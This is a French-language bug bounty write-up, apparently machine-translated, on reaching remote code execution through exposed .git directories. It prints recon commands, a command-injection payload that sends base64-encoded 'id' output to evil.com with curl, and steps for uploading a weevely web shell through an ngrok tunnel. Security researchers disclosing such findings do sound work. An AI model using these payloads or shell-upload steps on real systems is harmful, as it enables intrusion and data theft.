Prime de 10 000 $ pour .git exposé à RCE
Récemment, j'ai participé à l'un des programmes privés de bounty où j'ai réussi à trouver RCE via le répertoire ouvert .git sur quatre hôtes pour lesquels j'ai reçu un record de 10 000 $ et ce serait un crime de ne pas le partager.
En fait, la vulnérabilité était aussi très simple et cela n'a pris qu'une demi-journée, mais à peu près tout dans l'ordre...
L'étape principale de la collecte des bogues à portée de main est la reconnaissance, pour laquelle j'utilise une chaîne d'outils dans mon script bash :
amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt
cat amass.txt | aquatone -ports xlarge -out aqua_$1
nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt
Heureusement, la sortie des noyaux m'a montré les répertoires .git/ exposés sur plusieurs hôtes à travers lesquels il était possible de télécharger les sources
Pour ce faire, utilisez l' outil git-dumper :
git-dumper http://example.com/.git/ output
Pour élaborer la requête, j'ai également dû prendre en compte une simple validation qui nécessitait des clés secrètes codées en dur
Et le résultat final de la requête :
http://example.com/ftp-upload/sync.php?deluser=someuser&secret1= [secret1] &secret2= [sha1 encodé secret2]
où le point d'entrée sera le paramètre deluser
L'étape suivante consistait à valider la vulnérabilité elle-même, pour laquelle j'ai fait une requête test curl à mon serveur via une injection dans shell_exec() , qui a fonctionné avec succès
Il était également possible de lire la sortie des commandes en l'envoyant soit à l'URI, soit via le corps POST sous une forme encodée en base64 comme ceci :
Charge utile pour la commande id :
someusr ; curl https://evil.com/ $(id|base64|tr -d "\n") ;
Il ne restait donc plus qu'à uploader le shell, le seul obstacle était le manque de droits en écriture sur le répertoire courant, donc le shell a été uploadé sur uploads/
(pour générer le shell, j'ai utilisé l' outil weevely )
Si décrire ce processus en étapes:
- Enregistrez le shell localement dans txt pour pouvoir le transférer via curl et élevez le serveur sur son propre hôte
- Soulevez le tunnel avec ngrok
- Envoyez une charge utile qui sauvera notre shell dans uploads/shell.php
Après plusieurs jours d'aide pour résoudre le problème, l'entreprise m'a récompensé avec une prime (une capture d'écran de motivation est jointe ;))
A la fin, je tiens à dire que dans 9 cas sur 10 je n'ai rien reçu, il y a eu différentes entreprises qui m'ont trompé et tout est question de patience et de constance
Rejoins moi sur Linkedin
![Qu'est-ce qu'une liste liée, de toute façon? [Partie 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































